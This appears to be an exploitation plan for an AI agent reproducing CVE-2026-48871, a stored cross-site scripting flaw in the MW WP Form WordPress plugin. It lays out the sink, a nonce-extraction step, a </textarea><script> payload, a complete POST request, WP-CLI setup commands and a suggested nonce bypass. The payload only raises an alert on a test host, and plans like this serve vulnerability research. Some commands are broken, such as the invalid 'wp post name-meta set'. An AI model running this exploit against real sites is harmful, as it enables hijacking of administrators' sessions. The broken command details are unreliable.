MW WP Form <= 5.1.3 - Unauthenticated Stored Cross-Site Scripting

This research plan outlines the exploitation of CVE-2026-48871, an unauthenticated stored cross-site scripting (XSS) vulnerability in the MW WP Form plugin.

1. Vulnerability Summary

The vulnerability exists in the administrative "Inquiry Data" detail view. Specifically, the plugin fails to sanitize or escape the memo field when rendering it within a <textarea> in the admin dashboard. While most form fields are escaped using esc_html(), the memo field is echoed directly. An unauthenticated attacker can submit a form containing a malicious memo value, which, when viewed by an administrator, executes arbitrary JavaScript.

2. Attack Vector Analysis

• Vulnerable Sink: templates/contact-data/detail.php at line 80: echo $contact_data_setting->get( 'memo' );.
• Vulnerable Endpoint: Any public-facing page containing an [mwform_formkey...] shortcode.
• Payload Parameter: mw-wp-form-data[memo] (submitted via POST).
• Authentication: None required (Unauthenticated).
• Precondition: The target form must have the "Save inquiry data" setting enabled (this creates a Custom Post Type entry for every submission).

3. Code Flow

1. Entry Point: An unauthenticated user submits a POST request to a page containing an MW WP Form.
2. Processing: The MW_WP_Form_Main_Controller (initialized in mw-wp-form.php line 67) processes the submission.
3. Storage: If the form is configured to save data, the plugin creates a new post and saves the submitted data as post meta. Because the plugin does not strictly validate the keys in the mw-wp-form-data array against the form's defined fields, an attacker can inject the memo key.
4. Admin Access: An administrator navigates to MW WP Form > Inquiry Data and clicks "Detail" for the malicious submission.
5. Sink: The MW_WP_Form_Contact_Data_Controller loads templates/contact-data/detail.php.
6. Execution: Line 80 echoes the raw memo value into the textarea. If the value contains </textarea><script>..., the script executes in the admin's session.

4. Nonce Acquisition Strategy

MW WP Form uses a CSRF protection mechanism involving a nonce and a session-based cookie. The nonce must be extracted from the rendered form on the front end.

1. Identify Form Page: Locate a page where the plugin's shortcode is active.
2. Navigation: Use the browser_navigate tool to load the page.
3. Extraction: Use browser_eval to extract the nonce value from the hidden input field.
   • JavaScript: document.querySelector('input[name="mw-wp-form_nonce"]').value
   • Variable Name: The name attribute is derived from MWF_Config::NAME (which is mw-wp-form).

5. Exploitation Strategy

1. Setup: Ensure a form exists with ID 123 and has "Save inquiry data" checked.
2. Payload: </textarea><script>alert(document.domain)</script>
3. HTTP Request (via http_request):
   • URL: https://target.local/form-page/
   • Method: POST
   • Headers: Content-Type: application/x-www-form-urlencoded
   • Body:

     mwform_form_id=123&
     mw-wp-form_nonce=[EXTRACTED_NONCE]&
     mw-wp-form-data[memo]=%3C%2Ftextarea%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&
     [OTHER_REQUIRED_FIELDS_BY_FORM]
     

4. Trigger: Log in as Admin and visit: https://target.local/wp-admin/edit.php?post_type=mw-wp-form&page=mw-wp-form-save-data -> Select Form -> View Detail.

6. Test Data Setup

Before testing, the environment must be configured using WP-CLI:

1. Create a Form:
   wp post create --post_type=mw-wp-form --post_title="Contact Us" --post_status=publish
   (Note: Note the ID returned, e.g., 10)
2. Configure Form (Enable DB Saving):
   wp post name-meta set 10 _save_data 1
3. Create a Public Page:
   wp post create --post_type=page --post_title="Contact Page" --post_content='[mwform_formkey key="mw-wp-form-10"]' --post_status=publish

7. Expected Results

• The POST request should return a 200 OK or 302 Redirect (depending on the form's "Complete Page" setting).
• When the admin views the inquiry detail, a JavaScript alert box showing the document domain should appear, confirming the </textarea> tag was successfully closed and the script executed.

8. Verification Steps

Verify the payload is stored in the database without being escaped:

# Replace 11 with the ID of the Inquiry post (Custom Post Type)
# The post type for inquiry data is typically mwf-XXX where XXX is the form ID
wp post list --post_type=mwf-10 --format=ids
wp post get [INQUIRY_ID] --field=memo

The output should contain the raw <script> tag.

9. Alternative Approaches

• Attribute Injection: If the memo field is filtered but other fields are not, check templates/contact-data/detail.php line 57: MWF_Functions::get_multimedia_data( $values[ $key ] ). If the file upload handling is weak, XSS might be possible via file names.
• Bypass Nonce: Check if the plugin processes the form even if the nonce is missing. Some versions of MW WP Form had logic that only verified the nonce if the mw-wp-form_nonce key was present in $_POST. Try omitting the nonce parameter entirely.